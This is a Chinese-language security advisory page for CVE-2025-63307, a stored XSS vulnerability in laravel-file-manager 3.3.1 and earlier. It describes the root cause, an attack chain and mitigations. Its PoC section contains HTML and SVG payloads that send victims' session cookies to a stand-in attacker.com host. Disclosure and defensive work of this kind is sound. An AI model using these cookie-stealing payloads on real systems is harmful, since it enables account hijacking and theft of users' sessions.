IPBUF安全漏洞报告
English
CVE-2025-63307 CVSS 8.1 高危

CVE-2025-63307: laravel-file-manager存储型XSS漏洞

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2025-63307
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
alexusmai/laravel-file-manager

相关标签

CVE-2025-63307存储型XSSlaravel-file-manager文件上传漏洞Web安全高危漏洞CVSS 8.1

漏洞概述

CVE-2025-63307是laravel-file-manager 3.3.1版本中存在的一个高危存储型跨站脚本(XSS)漏洞。该漏洞允许攻击者通过应用的文件管理功能上传、创建或重命名为HTML或SVG格式的恶意文件,由于应用程序在提供这些文件时缺乏充分的Content-Type验证和输出清理措施,导致恶意脚本代码可以在受害者访问文件时执行。攻击者可以利用此漏洞窃取受害者的会话cookie、劫持用户账户、执行未经授权的操作或传播恶意软件。该漏洞的CVSS评分为8.1,属于高危级别,需要高权限用户交互才能利用。攻击向量为网络范围,攻击复杂度低,但需要攻击者具有文件上传权限。

技术细节

该漏洞的根本原因在于laravel-file-manager应用对文件上传和命名的安全验证不足。应用程序在处理用户上传的文件时,未能正确验证文件的MIME类型和内容,而是简单地接受用户指定的文件扩展名。具体来说:1) 应用允许用户上传HTML和SVG文件类型;2) 在文件被访问时,服务器使用Content-Disposition: inline头内联提供文件,而非作为附件下载;3) 缺少对上传文件内容的XSS过滤器或HTML净化处理;4) SVG文件中的<script>标签或HTML文件中的JavaScript代码可以直接执行。攻击者可以通过上传包含恶意JavaScript代码的HTML/SVG文件,当其他用户浏览该文件时,脚本代码将在其浏览器上下文中执行,从而实现XSS攻击。

攻击链分析

STEP 1
步骤1
攻击者获得laravel-file-manager的高权限账户访问权限
STEP 2
步骤2
攻击者通过文件上传、创建新文件或重命名功能,上传包含恶意JavaScript代码的HTML或SVG文件
STEP 3
步骤3
服务器将恶意文件存储在可访问的目录中,未进行内容安全验证
STEP 4
步骤4
受害者通过浏览器访问该恶意文件,服务器以inline模式提供文件内容
STEP 5
步骤5
浏览器解析HTML/SVG文件并执行其中的恶意JavaScript代码
STEP 6
步骤6
恶意脚本窃取受害者的会话cookie或其他敏感信息,并发送到攻击者控制的服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2025-63307: laravel-file-manager XSS --> <!-- Upload this file via file manager or rename existing file to .html --> <!DOCTYPE html> <html> <head> <title>Malicious XSS Payload</title> </head> <body> <h1>CVE-2025-63307 PoC</h1> <script> // Steal session cookies var cookies = document.cookie; console.log('Stolen cookies:', cookies); // Send cookies to attacker controlled server fetch('https://attacker.com/steal?c=' + encodeURIComponent(cookies), { method: 'GET', mode: 'no-cors' }); // Display alert for demonstration alert('XSS Payload Executed!\nCookie: ' + cookies); </script> </body> </html> <!-- Alternative SVG payload --> <svg xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> alert('SVG XSS - CVE-2025-63307'); document.location='https://attacker.com/steal?c='+document.cookie; </script> </svg>

影响范围

alexusmai/laravel-file-manager <= 3.3.1

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制文件上传功能仅对可信用户开放;2) 在Web服务器配置中禁止SVG和HTML文件的script执行;3) 对所有用户上传的文件强制使用attachment下载模式;4) 实施严格的MIME类型验证;5) 考虑临时禁用HTML和SVG文件的上传功能;6) 加强对文件访问的监控和日志记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表